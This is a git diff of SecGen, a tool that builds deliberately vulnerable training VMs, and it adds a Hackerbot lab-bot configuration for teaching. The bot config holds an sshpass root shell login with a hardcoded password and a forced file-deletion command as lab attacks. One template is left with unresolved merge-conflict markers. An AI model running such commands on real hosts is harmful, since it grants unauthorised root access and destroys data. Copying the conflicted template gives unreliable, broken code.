diff --git a/.gitignore b/.gitignore index c5d73d095..9cb00bdd0 100644 --- a/.gitignore +++ b/.gitignore @@ -3,4 +3,5 @@ unusedcode .DS_Store .idea mount -log \ No newline at end of file +log +.directory diff --git a/Gemfile b/Gemfile index 1bee751f1..7430e44e7 100644 --- a/Gemfile +++ b/Gemfile @@ -14,6 +14,9 @@ gem 'sshkey' gem 'zipruby' gem 'credy' gem 'pg' +gem 'cinch' +gem 'nori' +gem 'programr', :git => "git://github.com/robertjwhitney/programr.git" #development only gems go here group :test, :development do diff --git a/Gemfile.lock b/Gemfile.lock index a2fcd8c9f..5b6393103 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -1,3 +1,9 @@ +GIT + remote: git://github.com/robertjwhitney/programr.git + revision: f6e821f494983f6fdcca62e31e458a1e85f25400 + specs: + programr (0.0.1) + GEM remote: https://rubygems.org/ specs: @@ -5,6 +11,7 @@ GEM chunky_png (1.3.8) credy (0.2.1) thor (~> 0.19.1) + cinch (2.3.3) facter (2.4.6) CFPropertyList (~> 2.2.6) faker (1.6.6) @@ -36,6 +43,7 @@ GEM mini_portile2 (~> 2.1.0) pkg-config (~> 1.1.7) pg (0.21.0) + nori (2.6.0) pkg-config (1.1.7) puppet (4.5.1) CFPropertyList (~> 2.2.6) @@ -70,6 +78,7 @@ PLATFORMS DEPENDENCIES credy + cinch faker forgery librarian-puppet @@ -77,6 +86,8 @@ DEPENDENCIES minitest nokogiri pg + nori + programr! puppet rake rdoc diff --git a/README.md b/README.md index 3a8f1e400..f97a58271 100644 --- a/README.md +++ b/README.md @@ -3,9 +3,10 @@ ## Summary SecGen creates vulnerable virtual machines so students can learn security penetration testing techniques. -Boxes like Metasploitable2 are always the same, this project uses Vagrant, Puppet, and Ruby to quickly create randomly vulnerable virtual machines that can be used for learning or for hosting CTF events. +Boxes like Metasploitable2 are always the same, this project uses Vagrant, Puppet, and Ruby to create randomly vulnerable virtual machines that can be used for learning or for hosting CTF events. + +[The latest version is available at: http://github.com/cliffe/SecGen/](http://github.com/cliffe/SecGen/) -[The latest version is available at: http://github.com/cliffe/SecGen/](http://github.com/cliffe/SecGen/) ## Introduction Computer security students benefit from engaging in hacking challenges. Practical lab work and pre-configured hacking challenges are common practice both in security education and also as a pastime for security-minded individuals. Competitive hacking challenges, such as capture the flag (CTF) competitions have become a mainstay at industry conferences and are the focus of large online communities. Virtual machines (VMs) provide an effective way of sharing targets for hacking, and can be designed in order to test the skills of the attacker. Websites such as Vulnhub host pre-configured hacking challenge VMs and are a valuable resource for those learning and advancing their skills in computer security. However, developing these hacking challenges is time consuming, and once created, essentially static. That is, once the challenge has been "solved" there is no remaining challenge for the student, and if the challenge is created for a competition or assessment, the challenge cannot be reused without risking plagiarism, and collusion. @@ -22,31 +23,37 @@ SecGen contains modules, which install various software packages. Each SecGen mo SecGen is developed and tested on Ubuntu Linux. In theory, SecGen should run on Mac or Windows, if you have all the required software installed. You will need to install the following: -- Ruby (development): https://www.ruby-lang.org/en/ +- Ruby (development): https://www.ruby-lang.org/en/ - Vagrant: http://www.vagrantup.com/ - Virtual Box: https://www.virtualbox.org/ - Puppet: http://puppet.com/ -- Packer: https://www.packer.io/downloads.html +- Packer: https://www.packer.io/ - ImageMagick: https://www.imagemagick.org/ - And the required Ruby Gems (including Nokogiri and Librarian-puppet) ### On Ubuntu these commands will get you up and running Install all the required packages: ```bash -sudo apt-get install ruby-dev zlib1g-dev liblzma-dev build-essential patch virtualbox ruby-bundler vagrant imagemagick libmagickwand-dev exiftool libpq-dev +# install a recent version of vagrant +wget https://releases.hashicorp.com/vagrant/1.9.8/vagrant_1.9.8_x86_64.deb +sudo apt install ./vagrant_1.9.8_x86_64.deb +# install other required packages via repos +sudo apt-get install ruby-dev zlib1g-dev liblzma-dev build-essential patch virtualbox ruby-bundler imagemagick libmagickwand-dev exiftool libpq-dev ``` -Copy SecGen to a directory of your choosing, such as */home/user/bin/SecGen*, then: +Copy SecGen to a directory of your choosing, such as */home/user/bin/SecGen* + +Then install gems: ```bash cd /home/user/bin/SecGen bundle install ``` -## Optional software requirements -### EWF image creation -To generate forensic images in the EWF image format FTK Imager command line is required. -Download link for FTK Imager command line: http://accessdata.com/product-download/ -Note: The FTK Imager executable needs to be added to the PATH environment variable. +### Optional software requirements +To save yourself some time you can enable caching of downloaded packages. Simply install vagrant-cachier: +```bash +vagrant plugin install vagrant-cachier +``` ## Usage Basic usage: diff --git a/lib/helpers/gem_exec.rb b/lib/helpers/gem_exec.rb index f5b021802..9a98f3c32 100644 --- a/lib/helpers/gem_exec.rb +++ b/lib/helpers/gem_exec.rb @@ -8,8 +8,8 @@ class GemExec # @param [Object] gem_name -- such as 'vagrant', 'puppet', 'librarian-puppet' # @param [Object] working_dir -- the location for output # @param [Object] argument -- the command to send 'init', 'install' - def self.exe(gem_name, working_dir, argument) - Print.std "Loading #{gem_name} (#{argument}) in #{working_dir}" + def self.exe(gem_name, working_dir, arguments) + Print.std "Loading #{gem_name} (#{arguments}) in #{working_dir}" version = '>= 0' begin @@ -37,7 +37,7 @@ class GemExec Dir.chdir(working_dir) - system gem_path, argument + system "#{gem_path} #{arguments}" end end diff --git a/lib/objects/local_hackerbot_config_generator.rb b/lib/objects/local_hackerbot_config_generator.rb new file mode 100644 index 000000000..62d170aaa --- /dev/null +++ b/lib/objects/local_hackerbot_config_generator.rb @@ -0,0 +1,114 @@ +#!/usr/bin/ruby +require_relative 'local_string_generator.rb' +require 'erb' +require 'fileutils' +require 'redcarpet' +require 'nokogiri' + +class HackerbotConfigGenerator < StringGenerator + attr_accessor :accounts + attr_accessor :flags + attr_accessor :root_password + attr_accessor :html_rendered + attr_accessor :html_TOC_rendered + attr_accessor :title + + attr_accessor :local_dir + attr_accessor :templates_path + attr_accessor :config_template_path + attr_accessor :html_template_path + + def initialize + super + self.module_name = 'Hackerbot Config Generator' + self.title = '' + self.accounts = [] + self.flags = [] + self.root_password = '' + self.html_rendered = '' + self.html_TOC_rendered = '' + + self.local_dir = File.expand_path('../../', __FILE__) + self.templates_path = "#{self.local_dir}/templates/" + self.config_template_path = "#{self.local_dir}/templates/integrity_lab.xml.erb" + self.html_template_path = "#{self.local_dir}/templates/labsheet.html.erb" + + end + + def get_options_array + super + [['--root_password', GetoptLong::REQUIRED_ARGUMENT], + ['--accounts', GetoptLong::REQUIRED_ARGUMENT], + ['--flags', GetoptLong::REQUIRED_ARGUMENT]] + end + + def process_options(opt, arg) + super + case opt + when '--root_password' + self.root_password << arg; + when '--accounts' + self.accounts << arg; + when '--flags' + self.flags << arg; + end + end + + def generate_lab_sheet(xml_config) + lab_sheet = '' + begin + doc = Nokogiri::XML(xml_config) + rescue + Print.err "Failed to process hackerbot config" + exit + end + # remove xml namespaces for ease of processing + doc.remove_namespaces! + # for each element in the vulnerability + hackerbot = doc.xpath("/hackerbot") + name = hackerbot.xpath("name").first.content + lab_sheet += hackerbot.xpath("tutorial_info/tutorial").first.content + "\n" + + doc.xpath("//attack").each_with_index do |attack, index| + attack.xpath("tutorial").each do |tutorial_snippet| + lab_sheet += tutorial_snippet.content + "\n" + end + + lab_sheet += "#### #{name} Attack ##{index + 1}\n" + lab_sheet += "Use what you have learned to complete the bot's challenge. You can skip the bot to here, by saying '**goto #{index + 1}**'\n\n" + lab_sheet += "> #{name}: \"#{attack.xpath('prompt').first.content}\" \n\n" + lab_sheet += "Do any necessary preparation, then when you are ready for the bot to complete the action/attack, ==say 'ready'==\n\n" + if attack.xpath("quiz").size > 0 + lab_sheet += "There is a quiz to complete. Once Hackerbot asks you the question you can =='answer *YOURANSWER*'==\n\n" + end + lab_sheet += "Don't forget to ==save and submit any flags!==\n\n" + end + lab_sheet += hackerbot.xpath("tutorial_info/footer").first.content + "\n" + + lab_sheet + end + + def generate + + # Print.debug self.accounts.to_s + xml_template_out = ERB.new(File.read(self.config_template_path), 0, '<>-') + xml_config = xml_template_out.result(self.get_binding) + + lab_sheet_markdown = generate_lab_sheet(xml_config) + + redcarpet = Redcarpet::Markdown.new(Redcarpet::Render::HTML.new(prettify:true, hard_wrap: true, with_toc_data: true), footnotes: true, fenced_code_blocks: true, no_intra_emphasis: true, autolink: true, highlight: true, lax_spacing: true) + self.html_rendered = redcarpet.render(lab_sheet_markdown).force_encoding('UTF-8') + redcarpet_toc = Redcarpet::Markdown.new(Redcarpet::Render::HTML_TOC.new()) + self.html_TOC_rendered = redcarpet_toc.render(lab_sheet_markdown).force_encoding('UTF-8') + html_template_out = ERB.new(File.read(self.html_template_path), 0, '<>-') + html_out = html_template_out.result(self.get_binding) + + json = {'xml_config' => xml_config.force_encoding('UTF-8'), 'html_lab_sheet' => html_out.force_encoding('UTF-8')}.to_json.force_encoding('UTF-8') + self.outputs << json.to_s + end + + # Returns binding for erb files (access to variables in this classes scope) + # @return binding + def get_binding + binding + end +end diff --git a/lib/objects/local_string_encoder.rb b/lib/objects/local_string_encoder.rb index 279884816..ed942e643 100644 --- a/lib/objects/local_string_encoder.rb +++ b/lib/objects/local_string_encoder.rb @@ -104,7 +104,17 @@ class StringEncoder Print.local_verbose "Encoding '#{encoding_print_string}'" encode_all - Print.local_verbose "Encoded: #{self.outputs.to_s}" + + # print the first 700 chars to screen + output = self.outputs.to_s + length = output.length + if length < 1000 + Print.local_verbose "Encoded: #{output}..." + else + Print.local_verbose "Encoded: #{output.to_s[0..1000]}..." + Print.local_verbose "(Displaying 1000/#{length} length output)" + end + puts has_base64_inputs ? base64_encode_outputs : self.outputs end diff --git a/lib/objects/local_string_generator.rb b/lib/objects/local_string_generator.rb index 559a39509..554299ef9 100644 --- a/lib/objects/local_string_generator.rb +++ b/lib/objects/local_string_generator.rb @@ -87,7 +87,17 @@ class StringGenerator Print.local_verbose "Generating..." generate - Print.local_verbose "Generated: #{self.outputs.to_s}" + + # print the first 1000 chars to screen + output = self.outputs.to_s + length = output.length + if length < 1000 + Print.local_verbose "Generated: #{output}..." + else + Print.local_verbose "Generated: #{output.to_s[0..1000]}..." + Print.local_verbose "(Displaying 1000/#{length} length output)" + end + puts has_base64_inputs ? base64_encode_outputs : self.outputs end diff --git a/lib/objects/system.rb b/lib/objects/system.rb index 14f44fccd..2686e23ed 100644 --- a/lib/objects/system.rb +++ b/lib/objects/system.rb @@ -249,7 +249,9 @@ class System end end # execute calculation script and format output to an array of Base64 strings - outputs = `ruby #{selected.local_calc_file} #{args_string}`.chomp + command = "ruby #{selected.local_calc_file} #{args_string}" + Print.verbose "Running: #{command}" + outputs = `#{command}`.chomp output_array = outputs.split("\n") selected.output = output_array.map { |o| Base64.strict_decode64 o } end diff --git a/lib/output/project_files_creator.rb b/lib/output/project_files_creator.rb index 7e336f905..acde9cab4 100644 --- a/lib/output/project_files_creator.rb +++ b/lib/output/project_files_creator.rb @@ -34,11 +34,26 @@ class ProjectFilesCreator # Generate all relevant files for the project def write_files + # when writing to a project that already contains a project, move everything out the way, + # and keep the Vagrant config, so that existing VMs can be re-provisioned/updated + if File.exists? "#{@out_dir}/Vagrantfile" or File.exists? "#{@out_dir}/puppet" + dest_dir = "#{@out_dir}/MOVED_#{Time.new.strftime("%Y%m%d_%H%M")}" + Print.warn "Project already built to this directory -- moving last build to: #{dest_dir}" + Dir.glob( "#{@out_dir}/**/*" ).select { |f| File.file?( f ) }.each do |f| + dest = "#{dest_dir}/#{f}" + FileUtils.mkdir_p( File.dirname( dest ) ) + if f =~ /\.vagrant/ + FileUtils.cp( f, dest ) + else + FileUtils.mv( f, dest ) + end + end + end + FileUtils.mkpath "#{@out_dir}" unless File.exists?("#{@out_dir}") FileUtils.mkpath "#{@out_dir}/puppet/" unless File.exists?("#{@out_dir}/puppet/") FileUtils.mkpath "#{@out_dir}/environments/production/" unless File.exists?("#{@out_dir}/environments/production/") - threads = [] # for each system, create a puppet modules directory using librarian-puppet @systems.each do |system| @currently_processing_system = system # for template access @@ -108,11 +123,11 @@ class ProjectFilesCreator end # Create the marker xml file - x2file = "#{@out_dir}/marker.xml" + x2file = "#{@out_dir}/flag_hints.xml" xml_marker_generator = XmlMarkerGenerator.new(@systems, @scenario, @time) xml = xml_marker_generator.output - Print.std "Creating marker file: #{x2file}" + Print.std "Creating flags and hints file: #{x2file}" begin File.open(x2file, 'w+') do |file| file.write(xml) @@ -121,6 +136,7 @@ class ProjectFilesCreator Print.err "Error writing file: #{e.message}" exit end + Print.std "VM(s) can be built using 'vagrant up' in #{@out_dir}" end @@ -130,12 +146,12 @@ class ProjectFilesCreator template_out = ERB.new(File.read(template), 0, '<>-') begin - File.open(filename, 'w+') do |file| + File.open(filename, 'wb+') do |file| file.write(template_out.result(self.get_binding)) end rescue StandardError => e Print.err "Error writing file: #{e.message}" - exit + Print.err e.backtrace.inspect end end diff --git a/lib/resources/wordlists/mythical_creatures b/lib/resources/wordlists/mythical_creatures new file mode 100644 index 000000000..812e9f174 --- /dev/null +++ b/lib/resources/wordlists/mythical_creatures @@ -0,0 +1,336 @@ +dropbear +abaia +abath +adze +aethoneagle +afanc +ahool +akkorokamui +ala +alectryon +alkonost +allocamelus +amalthea +ammut +anansi +anemoi +angel +arachne +ariel +aries +arion +automaton +azeban +baku +balrog +barefrontedhoodwink +basilisk +bast +behemoth +bennu +berserker +bigfoot +bugbear +bunyip +buraq +caladrius +callisto +camazotz +capricornus +centaur +cetan +chamrosh +chimera +chiron +cinnamonbird +cipactli +devil +devilbird +djinn +dragon +drake +dwarf +echidna +elf +emela-ntouka +encantado +ent +familiar +faun +fionnuala +firebird +gandaberunda +gargoyle +gef +giant +giantpenguin +gilledantelope +goblin +grootslang +gunni +haizum +harpy +heqet +hibagon +hobbit +horus +huitzilopochtli +huorn +hydra +ichneumon +ichthyocentaurs +inugami +ipotane +isonade +kamaitachi +karkadann +kasairex +khepri +khnum +kongamato +kraken +kujata +kun +kurma +lamia +lavellan +lindorm +longma +makara +mapinguari +mermaid +merman +minokawa +minotaur +mothman +mujina +naga +namazu +nandibear +nandibull +nekomata +ngoubou +ningyo +nuckelavee +nue +olitiau +onocentaur +oozlumbird +orc +ouroboros +owlman +pabilsag +panther +peluda +peryton +phantomkangaroo +pooka +python +qareen +qilin +qiqirn +qliphoth +quinotaur +ra +rabisu +radande +ragana +rakshasa +redcap +reichsadler +rephaite +revenant +riva +rokurokubi +rompo +rougarou +rusalka +saci +sacipererê +sagari +sakabashira +samebito +samodiva +sampaati +sandman +sandwalker +santelmo +sânziană +sarngika +sarugami +satori +satyrus +sceadugenga +scitalis +scylla +sekhmet +seko +selket +seps +serpent +serpopard +shabti +shachihoko +shade +shedim +shellycoat +shenlong +shibaten +shikigami +shikome +shinigami +shirouneri +shisa +shishi +shtriga +shunoban +sigbin +sileni +simargl +singa +sirrush +sisiutl +skookum +skrzak +skvader +slenderman +sluagh +sobek +soragami +soucouyant +spearfinger +spectre +spiriduş +spriggan +sprite +squonk +strigoi +struthopodes +strzyga +suangi +succubus +sudice +sunekosuri +surma +suzaku +sylvan +syrbotae +tachash +taimatsumaru +takam +tangie +tantankororin +tanuki +taotie +tapairu +tartalo +tartaruchi +tatsu +taurokampoi +tavara +taweret +tecumbalam +tennin +tepegoz +theriocephalus +thoth +tiangou +tianlong +tibicena +tigmamanukan +tigris +tikoloshe +timingila +tipua +titan +tiyanak +tizheruk +tlahuelpuchi +tokeloshe +tomte +topielec +toyol +trasgo +trauco +trenti +tripurasura +tritons +trow +tsuchigumo +turehu +turul +typhon +ubume +uchchaihshravas +undead +undine +unhcegila +unktehi +unktehila +upinis +urayuli +urmahlullu +ushioni +utukku +uwan +valkyrie +valravn +varaha +vedrfolnir +veļi +veo +vetala +vielfras +vila +vilkacis +vodyanoy +vrykolakas +vulkodlak +waldgeist +wani +wekufe +wendigo +werecat +whitestag +wirrycow +wolpertinger +wondjina +wraith +wulver +wyrm +xana +xelhua +yacumama +yacuruna +yaksha +yakshi +yakshini +yale +yali +yallerybrown +yalungur +yanari +yaoguai +yatagarasu +yeren +yethhound +yobuko +yong +yosuzume +ypotryll +yukinko +yuxa +zahhak +zamzummim +zaratan +zburator +zeus +zhulong +zin +zlatorog +zmeu +zmiy +zombie +zorigami +zu +zuijin \ No newline at end of file diff --git a/lib/schemas/base_metadata_schema.xsd b/lib/schemas/base_metadata_schema.xsd index fc6f858ff..96d8df4fb 100644 --- a/lib/schemas/base_metadata_schema.xsd +++ b/lib/schemas/base_metadata_schema.xsd @@ -41,6 +41,7 @@ + diff --git a/lib/schemas/generator_metadata_schema.xsd b/lib/schemas/generator_metadata_schema.xsd index 2e546e8c1..31f29617d 100644 --- a/lib/schemas/generator_metadata_schema.xsd +++ b/lib/schemas/generator_metadata_schema.xsd @@ -23,6 +23,7 @@ + diff --git a/lib/schemas/utility_metadata_schema.xsd b/lib/schemas/utility_metadata_schema.xsd index d454c627b..4f1b067c3 100644 --- a/lib/schemas/utility_metadata_schema.xsd +++ b/lib/schemas/utility_metadata_schema.xsd @@ -23,6 +23,7 @@ + diff --git a/lib/templates/Vagrantfile.erb b/lib/templates/Vagrantfile.erb index 87191b104..e53dd7a67 100644 --- a/lib/templates/Vagrantfile.erb +++ b/lib/templates/Vagrantfile.erb @@ -5,8 +5,10 @@ # <%= @time %> # Based on <%= @scenario %> <% require 'json' - require 'base64' -%> + require 'base64' + require 'securerandom' -%> <% prefix = @options[:prefix] ? @options[:prefix] + '_' : ''-%> + VAGRANTFILE_API_VERSION = "2" Vagrant.configure(VAGRANTFILE_API_VERSION) do |config| @@ -90,6 +92,14 @@ Vagrant.configure(VAGRANTFILE_API_VERSION) do |config| end -%> end <% end %> + + # Optimise package caching (re-use downloaded .deb, ruby gems, etc) +# if Vagrant.has_plugin?("vagrant-cachier") + # Configure cached packages to be shared between instances of the same base box. + # More info on http://fgrehm.viewdocs.io/vagrant-cachier/usage +# config.cache.scope = :box +# end + # SecGen datastore # <%= JSON.generate($datastore) %> @@ -115,11 +125,15 @@ Vagrant.configure(VAGRANTFILE_API_VERSION) do |config| <% end %> <% when 'network' -%> <% if selected_module.attributes['range'].first.nil? || selected_module.attributes['range'].first == "dhcp" -%> +<<<<<<< HEAD <% if (@options.has_key? :ovirtnetwork) && (@options.has_key? :ovirtuser) && (@options.has_key? :ovirtpass) %> <%= system.name %>.vm.network :<%= selected_module.attributes['type'].first %>, type: "dhcp", :ovirt__network_name => '<%= "#{@options[:ovirtnetwork]}" %>' <% else %> <%= system.name %>.vm.network :<%= selected_module.attributes['type'].first %>, type: "dhcp" <% end %> +======= + <%= system.name %>.vm.network :<%= selected_module.attributes['type'].first %>, type: "dhcp", auto_config: false +>>>>>>> IRI_labs <% else -%> <% if (@options.has_key? :ovirtuser) && (@options.has_key? :ovirtpass) %> <%= system.name %>.vm.network :<%= selected_module.attributes['type'].first %>, :ovirt__ip => "<%= resolve_network(selected_module.attributes['range'].first)%>", :ovirt__network_name => '<%= "#{@options[:ovirtnetwork]}" %>' @@ -132,9 +146,18 @@ Vagrant.configure(VAGRANTFILE_API_VERSION) do |config| <%= system.name %>.vm.provision "puppet" do | <%=module_name%> | <% # if there are facter variables to define if selected_module.received_inputs != {} -%> - <% json_inputs = JSON.generate(selected_module.received_inputs) -%> + <% json_inputs = JSON.generate(selected_module.received_inputs) + b64_json_inputs = Base64.strict_encode64(json_inputs) + # save the inputs in a randomly named file in the + # project out directory of the secgen_functions module + rand = SecureRandom.hex().to_s + dir = "#{@out_dir}/puppet/#{system.name}/modules/secgen_functions/files/json_inputs" + FileUtils.mkdir_p(dir) unless File.exists?(dir) + Print.verbose "Writing #{selected_module.module_path_name} input to: #{dir}/#{rand}" + File.write("#{dir}/#{rand}", b64_json_inputs) + -%> <%= module_name%>.facter = { - "base64_inputs" => '<%= Base64.strict_encode64(json_inputs)%>' + "base64_inputs_file" => '<%= rand %>', } <% end -%> <%=module_name%>.module_path = "<%="puppet/#{system.name}/modules"%>" diff --git a/modules/bases/debian_puppet_32/secgen_metadata.xml b/modules/bases/debian_puppet_32/secgen_metadata.xml index 4eab05603..81577c7ef 100644 --- a/modules/bases/debian_puppet_32/secgen_metadata.xml +++ b/modules/bases/debian_puppet_32/secgen_metadata.xml @@ -3,11 +3,11 @@ - Debian 32bit with Puppet + Debian 7 Wheezy Server Z. Cliffe Schreuders GPLv3 Based on the Official Puppet Vagrant box. Debian 7.8 (wheezy) 32-bit (i386), Puppet 4.3.2 / Puppet Enterprise 2015.3.2 (agent). - This is the primary base box used during development. + This is the primary base box used during development. For testing purposes, the default root password is puppet. 32-bit server cli @@ -15,11 +15,10 @@ linux unix Debian 7.8 (wheezy) 32-bit (i386) - http://atlas.hashicorp.com/puppetlabs/boxes/debian-7.8-32-puppet/versions/1.0.4/providers/virtualbox.box + https://app.vagrantup.com/secgen/boxes/debian_wheezy_puppet/versions/1.0.0/providers/virtualbox.box https://atlas.hashicorp.com/puppetlabs various debian_server - - \ No newline at end of file + diff --git a/modules/bases/debian_wheezy_desktop_kde/secgen_metadata.xml b/modules/bases/debian_wheezy_desktop_kde/secgen_metadata.xml new file mode 100644 index 000000000..dceef8f26 --- /dev/null +++ b/modules/bases/debian_wheezy_desktop_kde/secgen_metadata.xml @@ -0,0 +1,23 @@ + + + + Debian 7 Wheezy Desktop KDE + Z. Cliffe Schreuders + GPLv3 + Based on the Official Puppet Vagrant box. Debian 7.8 (wheezy) 32-bit (i386), Puppet 4.3.2 / Puppet Enterprise 2015.3.2 (agent). + Plus KDE and some useful tools. + For testing purposes, the default root password is puppet. + 32-bit + desktop + + linux + unix + Debian 7.8 (wheezy) 32-bit (i386) + https://app.vagrantup.com/secgen/boxes/debian_wheezy_kde_puppet/versions/1.0.0/providers/virtualbox.box + + https://atlas.hashicorp.com/puppetlabs + various + + diff --git a/modules/bases/kali_light/secgen_metadata.xml b/modules/bases/kali_light/secgen_metadata.xml new file mode 100644 index 000000000..e08873fbe --- /dev/null +++ b/modules/bases/kali_light/secgen_metadata.xml @@ -0,0 +1,22 @@ + + + + Kali Light, XFCE and Puppet + Z. Cliffe Schreuders + GPLv3 + Kali Light 2017.1 XFCE minimal install, with puppet. + 64-bit + attack + desktop + + linux + unix + Kali Linux 2017.1 + https://app.vagrantup.com/cliffe/boxes/kali-light/versions/1.0.0/providers/virtualbox.box + + https://app.vagrantup.com/cliffe + various + + diff --git a/modules/bases/kali_light_msf/secgen_metadata.xml b/modules/bases/kali_light_msf/secgen_metadata.xml new file mode 100644 index 000000000..8abcd48d2 --- /dev/null +++ b/modules/bases/kali_light_msf/secgen_metadata.xml @@ -0,0 +1,22 @@ + + + + Kali Light, MSF, XFCE and Puppet + Z. Cliffe Schreuders + GPLv3 + Kali Light 2017.1 XFCE minimal install, with metasploit framework and puppet. + 64-bit + attack + desktop + + linux + unix + Kali Linux 2017.1 + https://app.vagrantup.com/secgen/boxes/kali_lite_msf_puppet/versions/1.0.1/providers/virtualbox.box + + https://app.vagrantup.com/cliffe + various + + diff --git a/modules/build/puppet/secgen_functions/functions/get_parameters.pp b/modules/build/puppet/secgen_functions/functions/get_parameters.pp new file mode 100644 index 000000000..87cdffb83 --- /dev/null +++ b/modules/build/puppet/secgen_functions/functions/get_parameters.pp @@ -0,0 +1,6 @@ +function secgen_functions::get_parameters($base64_inputs_file) { + $b64_inputs = file("secgen_functions/json_inputs/$base64_inputs_file") + $json_inputs = base64('decode', $b64_inputs) + $secgen_parameters = parsejson($json_inputs) + $secgen_parameters +} diff --git a/modules/build/puppet/secgen_functions/manifests/leak_file.pp b/modules/build/puppet/secgen_functions/manifests/leak_file.pp index 082d36a87..eab10081b 100644 --- a/modules/build/puppet/secgen_functions/manifests/leak_file.pp +++ b/modules/build/puppet/secgen_functions/manifests/leak_file.pp @@ -1,6 +1,16 @@ define secgen_functions::leak_file($leaked_filename, $storage_directory, $strings_to_leak, $owner = 'root', $group = 'root', $mode = '0660', $leaked_from = '' ) { if ($leaked_filename != ''){ $path_to_leak = "$storage_directory/$leaked_filename" + # notice("path_to_leak = $path_to_leak") + # notice("storage_directory = $storage_directory") + # notice("strings_to_leak = $strings_to_leak") + + # create the directory tree, incase the file name has extra layers of directories + exec { "$leaked_from-$path_to_leak": + path => ['/bin', '/usr/bin', '/usr/local/bin', '/sbin', '/usr/sbin'], + command => "mkdir -p `dirname $path_to_leak`;chown $owner. `dirname $path_to_leak`", + provider => shell, + } # If the file already exists append to it, otherwise create it. if (defined(File[$path_to_leak])){ diff --git a/modules/build/puppet/secgen_functions/secgen_metadata.xml b/modules/build/puppet/secgen_functions/secgen_metadata.xml index 9f3111b16..1095396e6 100644 --- a/modules/build/puppet/secgen_functions/secgen_metadata.xml +++ b/modules/build/puppet/secgen_functions/secgen_metadata.xml @@ -6,7 +6,7 @@ SecGen Puppet Functions Thomas Shaw MIT - SecGen functions module encapuslates commonly used functions within secgen (e.g. leaking files, + SecGen functions module encapsulates commonly used functions within secgen (e.g. leaking files, overshare, flags etc.) into puppet resource statements. diff --git a/modules/build/unix/cleanup/manifests/init.pp b/modules/build/unix/cleanup/manifests/init.pp index 3e447e37f..88db45efd 100644 --- a/modules/build/unix/cleanup/manifests/init.pp +++ b/modules/build/unix/cleanup/manifests/init.pp @@ -1,6 +1,5 @@ class cleanup::init { - $json_inputs = base64('decode', $::base64_inputs) - $secgen_params = parsejson($json_inputs) + $secgen_params = secgen_functions::get_parameters($::base64_inputs_file) $remove_history = str2bool($secgen_params['remove_history'][0]) $root_password = $secgen_params['root_password'][0] $clobber_file_times = str2bool($secgen_params['clobber_file_times'][0]) diff --git a/modules/generators/random/random_word/secgen_local/local.rb b/modules/generators/random/random_word/secgen_local/local.rb index 0df071fe8..f9510f298 100644 --- a/modules/generators/random/random_word/secgen_local/local.rb +++ b/modules/generators/random/random_word/secgen_local/local.rb @@ -2,13 +2,28 @@ require_relative '../../../../../lib/objects/local_string_generator.rb' class WordGenerator < StringGenerator + attr_accessor :wordlist + def initialize super + self.wordlist = [] self.module_name = 'Random Word Generator' end + def get_options_array + super + [['--wordlist', GetoptLong::OPTIONAL_ARGUMENT]] + end + + def process_options(opt, arg) + super + case opt + when '--wordlist' + self.wordlist << arg; + end + end + def generate - self.outputs << File.readlines("#{WORDLISTS_DIR}/wordlist").sample.chomp + self.outputs << File.readlines("#{WORDLISTS_DIR}/#{self.wordlist.sample.chomp}").sample.chomp end end diff --git a/modules/generators/random/random_word/secgen_metadata.xml b/modules/generators/random/random_word/secgen_metadata.xml index ea376cc56..66ab3fee2 100644 --- a/modules/generators/random/random_word/secgen_metadata.xml +++ b/modules/generators/random/random_word/secgen_metadata.xml @@ -17,6 +17,11 @@ https://github.com/sophsec/wordlist http://wordlist.sourceforge.net/ + wordlist + + wordlist + + generated_strings diff --git a/modules/generators/structured_content/hackerbot_config/example_bot/example_bot.pp b/modules/generators/structured_content/hackerbot_config/example_bot/example_bot.pp new file mode 100644 index 000000000..e69de29bb diff --git a/modules/generators/structured_content/hackerbot_config/example_bot/files/example_bot.xml b/modules/generators/structured_content/hackerbot_config/example_bot/files/example_bot.xml new file mode 100644 index 000000000..144f1efd7 --- /dev/null +++ b/modules/generators/structured_content/hackerbot_config/example_bot/files/example_bot.xml @@ -0,0 +1,83 @@ + + + + + Bob + + config/AIML + + + + sshpass -p randompassword ssh -oStrictHostKeyChecking=no root@{{chat_ip_address}} /bin/bash + + + Hi there. Just to introduce myself, I also work here. + + + Let me know when you are 'ready', if you want to move on to another attack, say 'next', or 'previous' and I'll move things along + When you are ready, simply say 'ready'. + 'Ready'? + Better hurry, the attack is imminent... Let me know when you're 'ready'. + Ok, I'll do what I can to move things along... + Moving things along to the next attack... + Ok, next attack... + Ok, I'll do what I can to back things up... + Ok, previous attack... + Ok, backing up. + Ok, skiping it along. + Let me see what I can do to goto that attack. + That was the last attack for now. You can rest easy, until next time... (End.) + That was the last attack. Game over? + You are back to the beginning! + This is where it all began. + Ok. Gaining shell access, and running post command... + Hacking in progress... + Attack underway... + Here we go... + We are in to your system. + You are pwned. + We have shell. + Let me know when you are 'ready', if you want to move on to another attack, say 'next', or 'previous' and I'll move things along + Say 'ready', 'next', or 'previous'. + + + I am waiting for you to say 'ready', 'next', 'previous', 'list', 'goto *X*', or 'answer *X*' + Say "The answer is *X*". + There is no question to answer + Correct + Incorrect + That's not possible. + Don't ask me. I just work here. + + + Oh no. Failed to get shell... You need to let us in. + + + + An attempt to delete /home/dropbear/trade_secrets/credit_card is coming. Stop the attack using access controls. + + rm --interactive=never /home/dropbear/trade_secrets/credit_card; echo $? + + Permission denied|Operation not permitted + :) Well done! + true + + + 0 + :( We managed to delete your file! You need to use access controls to protect the file. + + + No such file or directory + :( The file should exist! + + + :( Something was not right... + + + + + + + diff --git a/modules/generators/structured_content/hackerbot_config/example_bot/manifests/.no_puppet b/modules/generators/structured_content/hackerbot_config/example_bot/manifests/.no_puppet new file mode 100644 index 000000000..e69de29bb diff --git a/modules/generators/structured_content/hackerbot_config/example_bot/secgen_local/local.rb b/modules/generators/structured_content/hackerbot_config/example_bot/secgen_local/local.rb new file mode 100644 index 000000000..a9bbc7697 --- /dev/null +++ b/modules/generators/structured_content/hackerbot_config/example_bot/secgen_local/local.rb @@ -0,0 +1,39 @@ +#!/usr/bin/ruby +require_relative '../../../../../../lib/objects/local_string_generator.rb' +require 'erb' +require 'fileutils' +class HackerbotConfigGenerator < StringGenerator + attr_accessor :accounts + attr_accessor :flags + attr_accessor :root_password + LOCAL_DIR = File.expand_path('../../',__FILE__) + FILE_PATH = "#{LOCAL_DIR}/files/example_bot.xml" + + def initialize + super + self.module_name = 'Hackerbot Config Generator' + self.accounts = [] + self.flags = [] + self.root_password = '' + end + + def get_options_array + super + [['--root_password', GetoptLong::REQUIRED_ARGUMENT]] + end + + def process_options(opt, arg) + super + case opt + when '--root_password' + 